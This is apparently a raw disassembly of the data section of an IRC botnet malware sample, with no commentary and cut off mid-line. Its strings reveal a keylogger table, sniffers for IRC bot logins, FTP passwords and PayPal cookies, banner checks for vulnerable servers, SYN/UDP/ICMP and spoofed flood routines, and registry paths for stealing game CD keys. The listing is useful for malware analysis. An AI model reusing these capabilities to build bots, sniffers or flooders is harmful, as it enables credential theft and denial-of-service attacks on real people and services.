XREF: sub_411E8B+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 aOctet db 'octet',0 align 4 ; char aRb_0[] aRb_0 db 'rb',0 ; DATA XREF: sub_41224F+130o align 4 ; char aTftpTransferSt[] aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41224F+2CDo align 4 ; char aTftpTransferCo[] aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41224F+3C4o align 4 dword_44C788 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_41224F+41Co dd 8 dword_44C79C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4127AD:loc_412890o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_44CECC dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4127AD+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) ; char asc_44CF04[] asc_44CF04 db '\',0 ; DATA XREF: sub_4126CC+2Co align 4 ; char aAb[] aAb db 'ab',0 ; DATA XREF: sub_4126CC+4Eo align 4 ; char aDDDDDDS[] aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4126CC+88o align 4 ; char asc_44CF28[] asc_44CF28 db '-' ; DATA XREF: sub_4126CC+AEo db 3, 34h, 2 dd 6C79656Bh, 302676Fh, 7325202Dh, 0 ; char aSChangedWindow[] aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4127AD+8Fo align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4127AD+1E5o align 10h ; char aSReturnS[] aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4127AD+228o align 8 off_44CF88 dd offset dword_44D7F0 ; DATA XREF: sub_412A8E+2B9r dd offset dword_44D7F4 dd offset dword_44D7F8 dd offset aHttp_0 ; "HTTP" ; char a_login[] a_login db ':.login',0 ; DATA XREF: sub_412A8E+1DEo dd 3 dup(0) dword_44CFAC dd 0 ; DATA XREF: sub_412A8E+2B2r aLogin_3 db ':,login',0 dd 4 dup(0) aLogin_4 db ':!login',0 dd 4 dup(0) a@login db ':@login',0 dd 4 dup(0) aLogin_5 db ':$login',0 dd 4 dup(0) aLogin_6 db ':%login',0 dd 4 dup(0) aLogin_7 db ':^login',0 dd 4 dup(0) aLogin_8 db ':&login',0 dd 4 dup(0) aLogin_9 db ':*login',0 dd 4 dup(0) aLogin_10 db ':-login',0 dd 4 dup(0) aLogin_11 db ':+login',0 dd 4 dup(0) aLogin_12 db ':/login',0 dd 4 dup(0) aLogin_13 db ':\login',0 dd 4 dup(0) aLogin_14 db ':=login',0 dd 4 dup(0) a?login db ':?login',0 dd 4 dup(0) aLogin_15 db ':',27h,'login',0 dd 4 dup(0) aLogin_16 db ':`login',0 dd 4 dup(0) aLogin_17 db ':~login',0 dd 4 dup(0) aLogin_18 db ': login',0 dd 4 dup(0) a_auth db ':.auth',0 align 4 dd 4 dup(0) aAuth db ':,auth',0 align 10h dd 4 dup(0) aAuth_0 db ':!auth',0 align 4 dd 4 dup(0) a@auth db ':@auth',0 align 10h dd 4 dup(0) aAuth_1 db ':$auth',0 align 4 dd 4 dup(0) aAuth_2 db ':%auth',0 align 10h dd 4 dup(0) aAuth_3 db ':^auth',0 align 4 dd 4 dup(0) aAuth_4 db ':&auth',0 align 10h dd 4 dup(0) aAuth_5 db ':*auth',0 align 4 dd 4 dup(0) aAuth_6 db ':-auth',0 align 10h dd 4 dup(0) aAuth_7 db ':+auth',0 align 4 dd 4 dup(0) aAuth_8 db ':/auth',0 align 10h dd 4 dup(0) aAuth_9 db ':\auth',0 align 4 dd 4 dup(0) aAuth_10 db ':=auth',0 align 10h dd 4 dup(0) a?auth db ':?auth',0 align 4 dd 4 dup(0) aAuth_11 db ':',27h,'auth',0 align 10h dd 4 dup(0) aAuth_12 db ':`auth',0 align 4 dd 4 dup(0) aAuth_13 db ':~auth',0 align 10h dd 4 dup(0) aAuth_14 db ': auth',0 align 4 dd 4 dup(0) a_id db ':.id',0 align 10h dd 4 dup(0) aId_0 db ':,id',0 align 4 dd 4 dup(0) aId_1 db ':!id',0 align 10h dd 4 dup(0) a@id db ':@id',0 align 4 dd 4 dup(0) aId_2 db ':$id',0 align 10h dd 4 dup(0) aId_3 db ':%id',0 align 4 dd 4 dup(0) aId_4 db ':^id',0 align 10h dd 4 dup(0) aId_5 db ':&id',0 align 4 dd 4 dup(0) aId_6 db ':*id',0 align 10h dd 4 dup(0) aId_7 db ':-id',0 align 4 dd 4 dup(0) aId_8 db ':+id',0 align 10h dd 4 dup(0) aId_9 db ':/id',0 align 4 dd 4 dup(0) aId_10 db ':\id',0 align 10h dd 4 dup(0) aId_11 db ':=id',0 align 4 dd 4 dup(0) a?id db ':?id',0 align 10h dd 4 dup(0) aId_12 db ':',27h,'id',0 align 4 dd 4 dup(0) aId_13 db ':`id',0 align 10h dd 4 dup(0) aId_14 db ':~id',0 align 4 dd 4 dup(0) aId_15 db ': id',0 align 10h dd 4 dup(0) a_hashin_0 db ':.hashin',0 align 4 dd 3 dup(0) aHashin_0 db ':!hashin',0 align 10h aHashin_1 db ':$hashin',0 align 4 dd 3 dup(0) aHashin_2 db ':%hashin',0 align 10h a_secure db ':.secure',0 align 4 dd 3 dup(0) aSecure_2 db ':!secure',0 align 10h a_l db ':.l',0 dd 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) a_syn db ':.syn',0 align 4 dd 4 dup(0) aSyn_2 db ':!syn',0 align 10h dd 4 dup(0) aSyn_3 db ':$syn',0 align 4 dd 4 dup(0) aSyn_4 db ':%syn',0 align 10h dd 4 dup(0) aCdkey db ' CDKey ',0 dd 4 dup(0) aJoin_2 db 'JOIN #',0 align 10h dd 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) dword_44D7F0 dd 544F42h ; DATA XREF: .data:off_44CF88o dword_44D7F4 dd 435249h ; DATA XREF: .data:0044CF8Co dword_44D7F8 dd 505446h ; DATA XREF: .data:0044CF90o aHttp_0 db 'HTTP',0 ; DATA XREF: .data:0044CF94o align 4 ; char asc_44D804[] asc_44D804 db '-' ; DATA XREF: sub_412A8E+85o db 3, 34h, 2 dd 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h ; char asc_44D830[] asc_44D830 db '-' ; DATA XREF: sub_412A8E+103o db 3, 34h, 2 dd 696E7370h, 3026666h aBindFailedRetu db '- bind() failed, returned %d',0 align 4 ; char asc_44D85C[] asc_44D85C db '-' ; DATA XREF: sub_412A8E+186o db 3, 34h, 2 dd 696E7370h, 3026666h aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 ; char asc_44D88C[] asc_44D88C db '-' ; DATA XREF: sub_412A8E+317o db 3, 34h, 2 dd 696E7370h, 3026666h aRecvFailedRetu db '- recv() failed, returned %d',0 align 4 ; char aPsniff_0[] aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_412A8E+235o align 4 ; char asc_44D8C4[] asc_44D8C4 db '-' ; DATA XREF: sub_412A8E+24Co db 3, 34h, 2 dd 696E7370h, 3026666h, 2Dh ; char asc_44D8D4[] asc_44D8D4 db '-' ; DATA XREF: sub_412A8E+2C6o db 3, 34h, 2 dd 696E7370h, 3026666h aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 ; char aBotSniff[] aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412E19+5o align 4 ; char aPsniff_1[] aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412E19+2Bo align 10h ; char aPsniff_2[] aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412E19+3Co align 4 ; char aJoin_1[] aJoin_1 db 'JOIN #',0 ; DATA XREF: sub_412E19+4Do align 4 ; char a302[] a302 db '302 ',0 ; DATA XREF: sub_412E19:loc_412E7Bo align 4 ; char a366[] a366 db '366 ',0 ; DATA XREF: sub_412E19+73o align 4 ; char a_login_0[] a_login_0 db ':.login',0 ; DATA XREF: sub_412E19+84o ; char aLogin_0[] aLogin_0 db ':!login',0 ; DATA XREF: sub_412E19+95o ; char aLogin_1[] aLogin_1 db ':!Login',0 ; DATA XREF: sub_412E19+A6o ; char a_login_1[] a_login_1 db ':.Login',0 ; DATA XREF: sub_412E19+B7o ; char a_ident[] a_ident db ':.ident',0 ; DATA XREF: sub_412E19+C8o ; char aIdent_0[] aIdent_0 db ':!ident',0 ; DATA XREF: sub_412E19+D9o ; char a_hashin[] a_hashin db ':.hashin',0 ; DATA XREF: sub_412E19+EEo align 10h ; char aHashin[] aHashin db ':!hashin',0 ; DATA XREF: sub_412E19+103o align 4 ; char aIrcSniff[] aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412F30+5o align 4 ; char aOper[] aOper db 'OPER ',0 ; DATA XREF: sub_412F30+2Bo align 10h ; char aNick_2[] aNick_2 db 'NICK ',0 ; DATA XREF: sub_412F30:loc_412F70o align 4 ; char aOper_0[] aOper_0 db 'oper ',0 ; DATA XREF: sub_412F30+51o align 10h ; char aYouAreNowAnIrc[] aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412F30+62o ; char aFtpSniff[] aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412FA6+5o align 4 ; char aNick_3[] aNick_3 db 'NICK ',0 ; DATA XREF: sub_412FA6+2Bo align 10h ; char a220[] a220 db '220 ',0 ; DATA XREF: sub_412FA6+3Co align 4 ; char a230[] a230 db '230 ',0 ; DATA XREF: sub_412FA6:loc_412FF7o align 10h ; char aUser_2[] aUser_2 db 'USER ',0 ; DATA XREF: sub_412FA6+62o align 4 ; char aPass_0[] aPass_0 db 'PASS ',0 ; DATA XREF: sub_412FA6+73o align 10h ; char aHttpSniff[] aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_41302D+5o align 4 ; char aPaypal[] aPaypal db 'paypal',0 ; DATA XREF: sub_41302D+2Bo align 4 ; char aPaypal_0[] aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_41302D:loc_41306Do align 4 ; char aPaypal_com[] aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_41302D+51o align 4 ; char aPaypal_com_0[] aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_41302D+62o align 4 ; char aSetCookie[] aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_41302D+73o ; char aVulnSniff[] aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4130B4+5o align 4 ; char aOpenssl0_9_6[] aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4130B4+2Bo align 4 ; char aServUFtpServer[] aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4130B4:loc_4130F4o align 10h ; char aOpenssh_2[] aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4130B4+51o align 4 ; char asc_44DA7C[] asc_44DA7C db '-' ; DATA XREF: sub_413119+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 ; char asc_44DAA8[] asc_44DAA8 db '-' ; DATA XREF: sub_413119+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 4 ; char aS_35[] aS_35 db '%s',0 ; DATA XREF: sub_413119+228o align 4 ; char aS_36[] aS_36 db '%s',0 ; DATA XREF: sub_413119+250o align 10h unk_44DAE0 db 2Dh ; - ; DATA XREF: sub_413119+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44DB14 db 2Dh ; - ; DATA XREF: sub_413119+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44DB48 db 2Dh ; - ; DATA XREF: sub_413119+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 ; char asc_44DB7C[] asc_44DB7C db '-' ; DATA XREF: sub_413119+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44DBB4 db 2Dh ; - ; DATA XREF: sub_413119+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 ; char asc_44DBEC[] asc_44DBEC db '-' ; DATA XREF: sub_41350C+5Eo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 ; char aDdos_syn_0[] aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_4135C1+F1o align 10h ; char aDdos_ack_0[] aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_4135C1:loc_4136D1o align 4 ; char aDdos_random_0[] aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_4135C1:loc_4136EDo ; char asc_44DC38[] asc_44DC38 db '-' ; DATA XREF: sub_4135C1+302o db 3, 34h, 2 dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh dd 6425h ; char asc_44DC54[] asc_44DC54 db '-' ; DATA XREF: sub_413956+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 10h ; char asc_44DC80[] asc_44DC80 db '-' ; DATA XREF: sub_413956+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 10h ; char asc_44DCB0[] asc_44DCB0 db '-' ; DATA XREF: sub_413956+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 10h ; char asc_44DCD0[] asc_44DCD0 db '-' ; DATA XREF: sub_413956+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 ; char asc_44DD18[] asc_44DD18 db '-' ; DATA XREF: sub_413956+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 ; char asc_44DD64[] asc_44DD64 db '-' ; DATA XREF: sub_413D3D+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 ; char asc_44DD8C[] asc_44DD8C db '-' ; DATA XREF: sub_413D3D+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 ; char asc_44DDB8[] asc_44DDB8 db '-' ; DATA XREF: sub_413EC9+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 10h ; char asc_44DDE0[] asc_44DDE0 db '-' ; DATA XREF: sub_413EC9+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 4 ; char asc_44DE0C[] asc_44DE0C db '-' ; DATA XREF: sub_4140DF+4Bo db 3, 34h, 2 dd 73796B73h, 3026E79h aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 ; char asc_44DE38[] asc_44DE38 db '-' ; DATA XREF: sub_414285+4Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 10h ; char asc_44DE60[] asc_44DE60 db '-' ; DATA XREF: sub_414324+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 10h ; char asc_44DE80[] asc_44DE80 db '-' ; DATA XREF: sub_414630+4Fo db 3, 34h, 2 dd 67726174h, 3023361h aDoneWithFlood_ db '- Done with flood.',0 align 10h ; char asc_44DEA0[] asc_44DEA0 db '-' ; DATA XREF: sub_4148EE+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 ; char asc_44DED4[] asc_44DED4 db '-' ; DATA XREF: sub_4148EE+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 ; char asc_44DF0C[] asc_44DF0C db '-' ; DATA XREF: sub_4148EE+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 ; char aSyn_1[] aSyn_1 db 'syn',0 ; DATA XREF: sub_4148EE+2D2o ; char aAck_0[] aAck_0 db 'ack',0 ; DATA XREF: sub_4148EE+2F2o ; char aRandom_2[] aRandom_2 db 'random',0 ; DATA XREF: sub_4148EE+312o align 4 ; char asc_44DF3C[] asc_44DF3C db '-' ; DATA XREF: sub_4148EE+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 ; char asc_44DF8C[] asc_44DF8C db '-' ; DATA XREF: sub_4148EE+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 ; char asc_44DFDC[] asc_44DFDC db '-' ; DATA XREF: sub_414E84+66o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 10h ; char aD_D_D_D_1[] aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_414F3C+C9o ; char asc_44E01C[] asc_44E01C db '-' ; DATA XREF: sub_415187+4Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 ; char asc_44E05C[] asc_44E05C db '-' ; DATA XREF: sub_4151FE+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_44E088 db 2Dh ; - ; DATA XREF: sub_4151FE+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 ; char asc_44E0D8[] asc_44E0D8 db '-' ; DATA XREF: sub_4151FE+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 ; char asc_44E11C[] asc_44E11C db '-' ; DATA XREF: sub_4151FE+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 ; char aD_D_D_D_2[] aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_4151FE+180o unk_44E154 db 2Dh ; - ; DATA XREF: sub_4151FE+345o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 ; char asc_44E1E0[] asc_44E1E0 db '-' ; DATA XREF: sub_4151FE+2F3o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 ; char asc_44E244[] asc_44E244 db '-' ; DATA XREF: sub_41554A+60o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 10h ; char asc_44E270[] asc_44E270 db ' ',0 ; DATA XREF: sub_4156E7+1C5o align 4 ; char aSD[] aSD db '%s%d ',0 ; DATA XREF: sub_4156E7+207o align 4 dword_44E27C dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415BFF+10o ; char aD_[] aD_ db '%d. ' ; DATA XREF: sub_415BFF+35o dd 73253403h, 203D2003h, 73253703h, 3 ; char a_2d_2d4d_2d_2d[] a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415C77+60o align 4 dword_44E2C8 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .text:00415D33o dword_44E2D4 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DB4+20o dword_44E2E8 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DB4:loc_415DE9o dword_44E2FC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_415E27+3Fo dd 676E6974h, 0 ; char asc_44E318[] asc_44E318 db '-' ; DATA XREF: sub_415E27+DCo db 3, 34h, 2 dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch dd 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_415F56+11o aWindow db 'Window',0 ; DATA XREF: sub_416191+23o align 4 aWindow_0 db 'Window',0 ; DATA XREF: sub_41638A+26o align 10h dd 80000001h off_44E354 dd offset aSoftwareValveC ; DATA XREF: sub_4165C9+Cr ; sub_4165C9+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey_0 ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_44E360 dd 2 dup(0) ; DATA XREF: sub_4165C9+26o dd 80000001h dd offset aSoftwareEugenS ; "Software\\Eugen Systems\\The Gladiators" dd offset aRegnumber ; "RegNumber" dd offset aTheGladiators ; "The Gladiators" align 10h dd 80000001h dd offset aSoftwareValveG ; "Software\\Valve\\Gunman\\Settings" dd offset aKey_0 ; "Key" dd offset aGunmanChronicl ; "Gunman Chronicles" dd 2 dup(0) dd 80000001h dd offset aSoftwareValveH ; "Software\\Valve\\Half-Life\\Settings" dd offset aKey_1 ; "Key" dd offset aHalfLife ; "Half-Life" align 10h dd 